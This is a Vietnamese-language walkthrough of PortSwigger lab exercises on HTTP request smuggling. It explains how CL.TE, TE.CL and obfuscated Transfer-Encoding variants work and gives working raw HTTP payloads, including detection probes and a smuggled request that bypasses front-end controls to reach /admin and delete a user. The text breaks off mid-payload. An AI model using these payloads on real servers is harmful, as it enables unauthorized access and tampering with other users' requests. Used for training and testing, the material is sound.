# HTTP request smuggling

## What is HTTP request smuggling? <a href="#what-is-http-request-smuggling" id="what-is-http-request-smuggling"></a>

Theo định nghĩa ở portswigger thì HTTP request smuggling là kỹ thuật can thiệp vào cách trang web xử lý trình tự của HTTP request mà được nhận từ một hoặc nhiều người dùng. Nói dễ hiểu hơn là ***`HTTP request smuggling (HRS) là một kỹ thuật tấn công nhằm vào các HTTP server (web server, proxy server). Bất cứ khi nào một HTTP request của client được phân tích bởi nhiều hơn một hệ thống thì đều có khả năng bị HRS.`***

Lỗ hổng này thì thường rất nguy hiểm, nó cho phép kẻ tấn công có thể bypass secuirty controls, đạt được như truy cập trái phép tới các data nhạy cảm hoặc can thiệp trực tiếp tới ứng dụng người dùng khác.&#x20;

## What happens in an HTTP request smuggling attack? <a href="#what-happens-in-an-http-request-smuggling-attack" id="what-happens-in-an-http-request-smuggling-attack"></a>

Ngày nay các trang web thường dùng các chuỗi máy chủ HTTP giữa người dùng và ứng dụng logic cuối cùng. Người dùng gửi request tới một máy chủ front-end (đôi khi có thể gọi là load balancer hoặc reverse proxy) và server này sẽ gửi request tới một hoặc nhiều sever back-end.&#x20;

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FaRRjbbzZA8GlfAIHwr67%2Fimage.png?alt=media&#x26;token=c18ceeb5-54fe-4370-8b73-d99e21ec128d" alt=""><figcaption></figcaption></figure>

Như trên hình ảnh thì kẻ tấn công sẽ gửi một request phụ chèn thêm vào request chính, khai thác từ việc xử lý bất đồng bộ của server thì dẫn tới lỗ hổng HRS như trên.&#x20;

## How do HTTP request smuggling vulnerabilities arise? <a href="#how-do-http-request-smuggling-vulnerabilities-arise" id="how-do-http-request-smuggling-vulnerabilities-arise"></a>

Hầu hết lỗ hổng HRS xảy ra do  HTTP specification cung cấp hai cách để chỉ định nơi một request kết thúc, nó rõ ra là trong gói tin HTTP có hai header: `Content-Length` và `Transfer-Encoding`

1. Content-Length:

* Content-Length là một header HTTP được sử dụng để chỉ định kích thước (đơn vị byte) của nội dung yêu cầu hoặc phản hồi.
* Nó được sử dụng trong các yêu cầu HTTP có phương thức POST, PUT, PATCH để xác định kích thước của dữ liệu gửi đi.
* Ví dụ: Content-Length: 11. Header này cho biết rằng nội dung yêu cầu 11 byte.

{% code overflow="wrap" %}

```http
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling
```

{% endcode %}

2. Transfer-Encoding:

* Transfer-Encoding là một header HTTP dùng để chỉ định cách mã hóa và truyền tải nội dung yêu cầu hoặc phản hồi qua mạng.
* Nó được sử dụng để hỗ trợ truyền tải nội dung dưới nhiều dạng mã hóa khác nhau như chunked, gzip, deflate, vv.
* Ví dụ: Transfer-Encoding: chunked. Header này cho biết rằng nội dung yêu cầu hoặc phản hồi được truyền tải dưới dạng các phần (chunks) với độ dài được chỉ định cho mỗi phần.

{% code overflow="wrap" %}

```http
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
0
```

{% endcode %}

## How to perform an HRS attack

Tấn công **HTTP Request Smuggling** nói chung đều xoay quanh đến hai header là **Content-Length** và **Transfer-Encoding** trên cùng một gói tin HTTP để máy chủ **front-end** và **back-end** xử lý yêu cầu theo cách khác nhau. Sau đây là một số “combo” thường gặp của **HTTP Request Smuggling**:

* **CL.TE**: máy chủ **front-end** sử dụng header **Content-Length** và máy chủ **back-end** sử dụng header **Transfer-Encoding**.
* **TE.CL**: máy chủ **front-end** sử dụng header **Transfer-Encoding** và máy chủ **back-end** sử dụng header **Content-Length**.
* **TE.TE**: máy chủ **front-end** và **back-end** đều hỗ trợ header **Transfer-Encoding**, nhưng một trong hai loại máy chủ không xử ý được header này, do gói tin HTTP đã bị làm xáo trộn header theo một cách nào đó.

## Lab 1: [HTTP request smuggling, basic CL.TE vulnerability](https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te)

{% hint style="info" %}
This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. The front-end server rejects requests that aren't using the GET or POST method.

To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method `GPOST`.
{% endhint %}

Ở bài này chúng ta tấn công dạng `CL.TE` thì payload sẽ kiểu như này:&#x20;

<pre class="language-http"><code class="lang-http"><strong>POST / HTTP/1.1
</strong>Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
</code></pre>

Đầu tiên chúng ta chuyển HTTP/2 -> HTTP/1.1

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FzwCIPmt4izJTL5UwI9JA%2Fimage.png?alt=media&#x26;token=45a3cc08-47d9-412e-a9b5-8f59cf86ca51" alt=""><figcaption></figcaption></figure>

Chúng ta sẽ sửa đổi độ dài của Content với giá trị là 6 bắt đầu từ giá trị 0 tới G.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2F7EZgsN4N93XyxtEYU7I0%2Fimage.png?alt=media&#x26;token=62aea93b-7e7e-49b6-be52-e2d2fa580de6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FTWcBDZ15qa0czveWkW3v%2Fimage.png?alt=media&#x26;token=103b40cd-c0b5-47a0-aa30-07ce062732ba" alt=""><figcaption></figcaption></figure>

Ở đây dễ hiểu rằng khi gửi request đầu tiên thì server sẽ hiểu rằng body gồm 6 byte và xử lý nhưng khi xử lý tới `0` thì đây là:  `một chunk rỗng, được sử dụng để đánh dấu kết thúc của body request.`

Khi đó ký tự G sẽ được ghép với request tiếp theo là G->GPOST. Chúng ta sẽ sang lab tiếp theo để làm một dạng khác!

## Lab2: [HTTP request smuggling, basic TE.CL vulnerability](https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl)

Ở lab thì phía server front-end sử dụng `Transfer-Encoding` header và server back-end sử dụng `Content-Lenght` header. Khi đó chúng ta có thể đoạn HTTP Request Smuggling như sau:&#x20;

```http
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0
```

**Chunked Transfer Encoding** là một cơ chế được sử dụng trong giao thức HTTP/1.1 để gửi dữ liệu từ máy chủ đến client. Cơ chế này cho phép máy chủ gửi dữ liệu trong nhiều phần hoặc "chunks", mỗi chunk được gửi riêng lẻ. Điều này có thể hữu ích trong các tình huống mà kích thước của dữ liệu không được biết trước hoặc dữ liệu cần được tạo và gửi đồng thời.

Mỗi chunk bao gồm kích thước của chunk (tính bằng số byte), sau đó là dữ liệu thực sự, và cuối cùng là một dòng mới. Phiên truyền dữ liệu kết thúc bằng một chunk có kích thước bằng 0.

Mã hóa chunked được chỉ định trong header HTTP bằng cách sử dụng trường `Transfer-Encoding`:

```
Transfer-Encoding: chunked
```

**Ví dụ:**

Giả sử máy chủ muốn gửi chuỗi sau: "Hello, World!"

Trước tiên, chuỗi này được chia thành các chunks. Trong ví dụ này, chúng tôi sẽ chia nó thành 2 chunks: "Hello, " và "World!". Mỗi chunk sau đó được gửi đi kèm với kích thước của nó (tính bằng số byte hexa).

Gói tin HTTP có thể trông như sau:

```
HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked

7\r\n
Hello, \r\n
6\r\n
World!\r\n
0\r\n
\r\n
```

Ở đây, `7` và `6` là kích thước của hai chunks (tính bằng số byte), và `0` kết thúc phiên truyền dữ liệu. `\r\n` là ký tự xuống dòng CR-LF (Carriage Return-Line Feed).

Lưu ý: `/r/n` ở cuối cùng đánh dấu kết thúc request.

Sơ qua như thế rồi chúng ta sẽ vào bài lab luôn có description như sau:

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FDVSwilfH5GCRnDx8he5b%2Fimage.png?alt=media&#x26;token=c153fa49-7827-48bb-8aef-2573b733ec8a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FT3zSLsGbaBzCuEqNau7P%2Fimage.png?alt=media&#x26;token=4629b987-5c82-4301-ac5d-976160babf88" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FpACRVgvF8jWc2hpn4H7l%2Fimage.png?alt=media&#x26;token=33dddc1c-4d0f-4024-9fab-dcb24089ced3" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Content-length: 4, nghĩa là có 4 kí tự `59\r\n` → Phần còn lại sẽ được gán vào đầu request sau.

Sau đó, yêu cầu chứa dữ liệu gửi đi. Dữ liệu này được chia thành hai phần:

1. Phần dữ liệu khối đầu tiên:
   * 59: Đây là độ dài của dữ liệu khối đầu tiên (59 byte).
   * GPOST / HTTP/1.1: Đây là nội dung của dữ liệu khối đầu tiên. Trong trường hợp này, dữ liệu là "GPOST / HTTP/1.1".
2. Phần dữ liệu khối thứ hai:
   * Content-Type: application/x-www-form-urlencoded
     * Content-Type header xác định kiểu dữ liệu của dữ liệu được gửi đi. Trong trường hợp này, dữ liệu được gửi dưới dạng "application/x-www-form-urlencoded", có nghĩa là dữ liệu được mã hóa theo định dạng URL-encoded.
   * Content-Length: 9
     * Content-Length header xác định độ dài của dữ liệu khối thứ hai (9 byte).
   * x: Đây là nội dung của dữ liệu khối thứ hai. Trong trường hợp này, dữ liệu là "x".

Sau phần dữ liệu khối thứ hai, yêu cầu kết thúc bằng số 0, chỉ định kết thúc dữ liệu mã hóa chunked.

{% code overflow="wrap" %}

```
Đoạn này giải thích một yếu tố thú vị trong yêu cầu. Yêu cầu này có thể được giải quyết bằng cách sử dụng tiêu đề "Content-Length: 9" được chỉ định trong lần gửi dữ liệu thứ hai. Tuy nhiên, bạn luôn nhận được một phản hồi 200 và một phản hồi bình thường từ phía máy khách. Điều này xảy ra bởi vì máy chủ phía sau sẽ bắt yêu cầu với tiêu đề "CL: 9" và xử lý nó ngay lập tức vì nó là một yêu cầu hoàn chỉnh. Không có hàng đợi xảy ra. Để kích hoạt hàng đợi, chúng ta cần làm cho máy chủ phía sau đợi ít nhất một ký tự nữa trước khi phát hành yêu cầu GPOST. Bằng cách chỉ định một Content-Length dài hơn so với dữ liệu được cung cấp (trong yêu cầu gửi thứ hai), máy chủ phía sau sẽ đợi thêm dữ liệu trước khi xử lý và phát hành yêu cầu.
```

{% endcode %}
{% endhint %}

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FovxuMPVe6GS65vM9gAgW%2Fimage.png?alt=media&#x26;token=f12835ea-3ce6-4948-a264-12be18e31688" alt=""><figcaption></figcaption></figure>

## Lab3: [HTTP request smuggling, obfuscating the TE header](https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header)

Ở đây server front-end và back-end đều hỗ trợ `Transfer-Encoding` header, nhưng một trong những servers có thể được yêu cầu không xử lý nó bằng cách làm xáo trộn header này

Ví dụ, một máy chủ web có thể thực hiện "obfuscating the TE header" bằng cách thay đổi TE header thành một giá trị ngẫu nhiên hoặc mã hóa TE header bằng cách sử dụng một thuật toán mã hóa đặc biệt. Điều này có thể làm cho TE header trở nên khó hiểu hoặc che giấu thông tin về các phương pháp mã hóa thực sự được hỗ trợ bởi máy chủ web.

{% code overflow="wrap" %}

```http
Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked
```

{% endcode %}

Chúng ta sẽ đi vào bài lab này luôn, miêu tả của lab này như sau:

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FgLE6p2oufwfCC8Wwm0XZ%2Fimage.png?alt=media&#x26;token=872d1358-2bf8-43fe-8917-67f0299eb5ad" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FoKz8cSo8dXGdQN7ij0T1%2Fimage.png?alt=media&#x26;token=0ecdb478-bfc4-4599-aaeb-eeb250d46d22" alt=""><figcaption></figcaption></figure>

Chúng ta sẽ xem xét rằng `Transfer-Encoding` vẫn nhận nhưng sau 2-3 lần request thì header này không được phía back-end xử lý. Xúc này chúng ta sẽ thêm một header tương tự như này với một giá trị bất kỳ.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2Fdm7pWr4RbrizFXZq4Tgq%2Fimage.png?alt=media&#x26;token=990a9977-9560-40d6-ac22-43958308e6f3" alt=""><figcaption></figcaption></figure>

Chúng ta sẽ giải thích qua tại sao phải double `Transfer-Encoding` header. Đầu tiên nếu thay đổi vị trí giá trị của header này thì nó sẽ trả về lỗi 500. Có nghĩa là phía front-end hoặc phía back-end không xử lý được và quan trọng không sử dụng được `Content-Length`

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2Fp56MxutnsszvR5qjXz4m%2Fimage.png?alt=media&#x26;token=2174af34-0836-452e-a4bb-1670c66d3f09" alt=""><figcaption></figcaption></figure>

Khi đó cần sắp xếp lại giá trị và để backend khi xử lý TE sẽ không xác định được và chuyển qua  dùng CL chung như hình trên.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2Fx1QpxZ65IWoWT8T82uor%2Fimage.png?alt=media&#x26;token=8b6a39b7-f8e9-4ad6-b920-4c62b9e8a249" alt=""><figcaption></figcaption></figure>

Khi đó một request khác từ người dùng khác sẽ được gán với ký tự hoặc request tiếp theo của kẻ tấn công.

Vậy thì chúng ta sẽ dùng kỹ thuật Lab2 để solve lab này.&#x20;

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2Fm01g3VmB549Di783gIEv%2Fimage.png?alt=media&#x26;token=1cc2dc49-ff76-4bef-80dc-d9bdc5940936" alt=""><figcaption></figcaption></figure>

## Finding HTTP request smuggling valnerabilities.

Sau 3 lab chứng ta sẽ xem xét lại cách để tìm lỗ hổng này:&#x20;

### Tìm lỗ hổng dạng CL.TE sử dụng kỹ thuật timming.

Nếu một ứng dụng chứa lỗ hổng có variant CL.TE, thì chúng ta gửi request như sau:&#x20;

```http
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X
```

Khi front-end server sử dụng `Content-Length` header, nó sẽ chỉ chuyển tiếp một phần của request này mà bỏ qua X. Back-end sẽ sử dụng `Transfer-Encoding` header.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FGPuLdKjtGKFTUfe3M5QR%2Fimage.png?alt=media&#x26;token=7c2d12ee-b280-45c0-a152-3d7e98827f94" alt=""><figcaption></figcaption></figure>

Nhìn vào hình ảnh chúng ta sẽ rõ khi gủi giá trị thì ở FE dùng CL với length là 6 khi đó nó sẽ drop X đi và gửi qua backend và khi BE nhận thì nó giữ time để nhận X còn thiếu và đợi lúc tới timeout trả về.

### Tìm lỗ hổng dạng TE.CL

Nếu lỗ hổng HRS có variant TE.CL thì có thể gửi request theo như này:

```http
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X
```

Ở dạng này thì front-end sử dụng `Content-Length` còn `back-end` sẽ sử dụng `Content-Length`&#x20;

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2F95dfG6I1T2FuKS0sLC1X%2Fimage.png?alt=media&#x26;token=e4414634-a7fe-4eb7-8beb-cc76c07c20a8" alt=""><figcaption></figcaption></figure>

Khi FE có TE xử lý chunk đầu size bằng 0 sau đó là một dòng trống, có nghĩa nó hiểu kết thúc và bỏ qua X gửi qua BE và ở BE dùng CL với length chung là 6 mà dữ liệu tới BE chỉ có 5 byte và BE sẽ đợi byte thứ 6, sau một thời gian nó quyết định timeout.

Mình đã giải thích qua các thức và cơ chế của hai variant CL.TE và TE.CL, tiếp theo chúng ta sẽ tới với lab tiếp theo.

## Lab4: [HTTP request smuggling, confirming a CL.TE vulnerability via differential responses](https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-cl-te-via-differential-responses)

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2F4XxRd5DeP21HsVvP99w9%2Fimage.png?alt=media&#x26;token=09a40b3b-74a0-478d-97ab-1960caf0d79c" alt=""><figcaption></figcaption></figure>

Về lab này thì chúng xác định rằng nó là variant CL.TE thì chúng ta sẽ gửi payload như sau:

<pre class="language-http"><code class="lang-http">POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
<strong>q=smuggling&#x26;x=
</strong>0

GET /404 HTTP/1.1
Foo: x
</code></pre>

{% hint style="info" %}
Mình giải thích lại về  gói tin HTTP  trên thì CL gồm 49 byte từ giá trị `e->x` và ở BE dùng TE thì có 2 chunk, chunk đầu có size là e(14 trong hệ 10) có giá trị `q=smuggling&x=, chunk thứ 2 có size 0 và khi nó check dòng tiếp thì trống thỏa mãn chunk size 0. Lúc này request sẽ kết thúc và trả về resp và đoạn thừa sau sẽ được ghép vào đầu request tiếp theo.`
{% endhint %}

```http
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
....
```

Với bài lab này dùng burp suite bắt req sẽ như này:&#x20;

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2Fwn83JzRssBP0ip4wHuIx%2Fimage.png?alt=media&#x26;token=abd0c7fe-1788-41fa-b192-8c58fced0a05" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FBHba24zm1suoBlQ3v4Ib%2Fimage.png?alt=media&#x26;token=24cb8d47-ac12-4734-9403-ba887450241e" alt=""><figcaption></figcaption></figure>

## Lab5: [HTTP request smuggling, confirming a TE.CL vulnerability via differential responses](https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-te-cl-via-differential-responses)

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FQn5uO1hp1TYJ3iMZtw94%2Fimage.png?alt=media&#x26;token=a10c7e10-bdfb-49a2-963c-00d13c127524" alt=""><figcaption></figcaption></figure>

Với lab này sử dụng TE.CL khi đó payload sẽ như sau:&#x20;

```http
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5b
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

x
0


```

{% hint style="info" %}
Giói tin HTTP ở trên sẽ có TE được dùng ở FE khi đó có chunk đầu gồm 5b (91 hệ 10) và chunk thứ 2 có size và 0 và giá trị trống. Thì khi tới BE thì BE sử dụng CL có giá trị là 4 nên nó sẽ chỉ xử lý 5b/r/n và để phần còn lại ghép cho request sau. Còn giải thích chi tiết thì có thể xem lại các lab trên về dạng này.
{% endhint %}

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2F63sjNR9dvkIvAyOytTO6%2Fimage.png?alt=media&#x26;token=e9443992-23c5-4eb2-8359-9b374d08f433" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FsWX0V65TbjXHRl1VWIG0%2Fimage.png?alt=media&#x26;token=5952cb23-42fd-4e95-a2db-0df83a88522a" alt=""><figcaption></figcaption></figure>

## Lab6: [Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te)

Đôi khi chúng ta cần những thứ to lớn hơn như lấy thông tin từ một endpoint nào đó hoặc lấy thông tin nhạy cảm nhưng để lấy được thì chúng ta cần phải bypass được access controls, khi đó chúng ta có thể sử dụng lỗ hổng này để chuyển tiếp các router chúng ta muốn. Oke bắt đầu với lab này thôi.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2Fi4kRmyTZaoCCXEWdbJ2o%2Fimage.png?alt=media&#x26;token=cf098f69-9f43-4ebb-a138-8410d6be9c01" alt=""><figcaption></figcaption></figure>

Để solve được lab này chúng ta cần truy cập vào endpoint admin để xóa đi tài khoản carlos nhưng FE đã block truy cập của chúng ta nên cần bypass nó.&#x20;

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FFlQkDtBm6l2oz817hI2q%2Fimage.png?alt=media&#x26;token=fcf27c84-02f5-4616-b288-ff7522e43c7c" alt=""><figcaption></figcaption></figure>

Rõ ràng đã bị block, dựa vào dạng  CL.TE và xem giao diện chúng ta sẽ build được body gói tin như sau:

{% code overflow="wrap" %}

```http
POST / HTTP/1.1
Host: 0ab0001f038ec5838593147900630013.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 110

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

```

{% endcode %}

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FW4oxP8P5QPYpWY5LxCAI%2Fimage.png?alt=media&#x26;token=1456e7ce-fa6e-4c9d-a0ed-554f8860000e" alt=""><figcaption></figcaption></figure>

Có vấn đề ở đây là không được duplicate header, tại sao lại xảy ra vì khi đoạn GET được ghép với header tiếp theo của req nên sẽ kiểu như này:

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2Fj2eO5SN4bR6Fc263sobH%2Fimage.png?alt=media&#x26;token=761dd743-9c0a-4fc9-a24e-fac27653fb7a" alt=""><figcaption></figcaption></figure>

Rõ ràng dòng 12 và 13 đã lặp lại nên server trả về status 400, vậy lúc này có cách nào không?&#x20;

Câu trả lời là có, chúng ta có thể tách nó ra để thành phần header của request sau thuộc body như sau:

```http
POST / HTTP/1.1
Host: 0ab0001f038ec5838593147900630013.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 117

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x
```

Chỉ cần thêm một giá trị x vào và phần Content-Length mọi người tự fix nhé. Khi đó resp sẽ trả về cho chúng ta như này:&#x20;

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FyWVqjgNeSq7FYJ6cGHVB%2Fimage.png?alt=media&#x26;token=9d5d47e9-ff3d-4c76-8cfe-0bfaeb966a27" alt=""><figcaption></figcaption></figure>

Lúc này chúng ta có thể solve được dựa vào source từ resp:&#x20;

```
                       <a href="/admin/delete?username=carlos">
```

{% code overflow="wrap" %}

```http
POST / HTTP/1.1
Host: 0ab0001f038ec5838593147900630013.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 138

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x
```

{% endcode %}

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2Ff39MXyjJ8oThNLotM0JR%2Fimage.png?alt=media&#x26;token=81ed3bda-90ea-4ea8-9319-b0e511f35fb9" alt=""><figcaption></figcaption></figure>

## Lab7: [Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)

Ở lab này theo dạng TE.CL, chúng ta dựa vào lab số 6 sẽ build lại theo dạng TE.CL như sau:

```http
Content-length: 4
Transfer-Encoding: chunked

84
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

x
0
```

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FUs2imT4N9xTqGcHmsiEy%2Fimage.png?alt=media&#x26;token=e9b0c6c6-b2db-4c35-8c56-8e095244d5d9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2ForP5Tu1GEXcTco6aln1E%2Fimage.png?alt=media&#x26;token=4e21b73c-32d4-4286-88a2-8cc65ec16af1" alt=""><figcaption></figcaption></figure>

## Lab8: [Exploiting HTTP request smuggling to reveal front-end request rewriting](https://portswigger.net/web-security/request-smuggling/exploiting/lab-reveal-front-end-request-rewriting)

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FQEKgJu993UBTuijgogC1%2Fimage.png?alt=media&#x26;token=5024ccb4-375b-4910-87b7-470df1709f84" alt=""><figcaption></figcaption></figure>

Chúng ta thấy rằng như tiêu đề của lab thì cần reveal request của server. Như lab này chúng ta trước tiên cần xác định đây là dạng gì? Sử dụng kỹ thuật timming để check và nhận ra nó dạng CL.TE

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FtxAldvPVeEcet506Ui4N%2Fimage.png?alt=media&#x26;token=0f8431da-1d13-47fe-aa85-b934bb8b37f0" alt=""><figcaption></figcaption></figure>

Tiếp theo xác định trang web có chặn endpoint `/admin` gồm cần có điều kiện gì?

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2F82gF7pbyq0yKfzeYmLkf%2Fimage.png?alt=media&#x26;token=a3b3c770-fe0c-48f1-8f86-f4f1df5cb476" alt=""><figcaption></figcaption></figure>

Để truy cập được path này cần request từ IP 127.0.0.1, vậy chúng ta sẽ thêm một header `X-Forwarded-For`

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FnqcZ2UD5amIhIMpDfH93%2Fimage.png?alt=media&#x26;token=a46d2cf1-c782-4c41-9b82-2b29673af179" alt=""><figcaption></figcaption></figure>

Có vẻ header trên không có trong config của server nên mới không thể fake được ip, chúng ta chú ý rằng trang web này có một nơi có thể reflect được data là endpoint `/search.`

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FZM8HjcHBUwIbiAuv2rm3%2Fimage.png?alt=media&#x26;token=7de800c4-d725-4f33-b72c-a25139ef9daa" alt=""><figcaption></figcaption></figure>

Chúng ta sẽ tấn công vào path này để leak được header cần thiết ra, thực hiện như sau:&#x20;

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2F3tZP8SAef2neE8byz1in%2Fimage.png?alt=media&#x26;token=22a27278-230c-494b-a0e7-0398df630ab0" alt=""><figcaption></figcaption></figure>

Chúng ta thấy rằng khi request tiếp theo thì header kia được leak ra và chúng ta sẽ tấn công như lab 6, chỉ thay header như trên để bypass.

{% code overflow="wrap" %}

```http
POST / HTTP/1.1
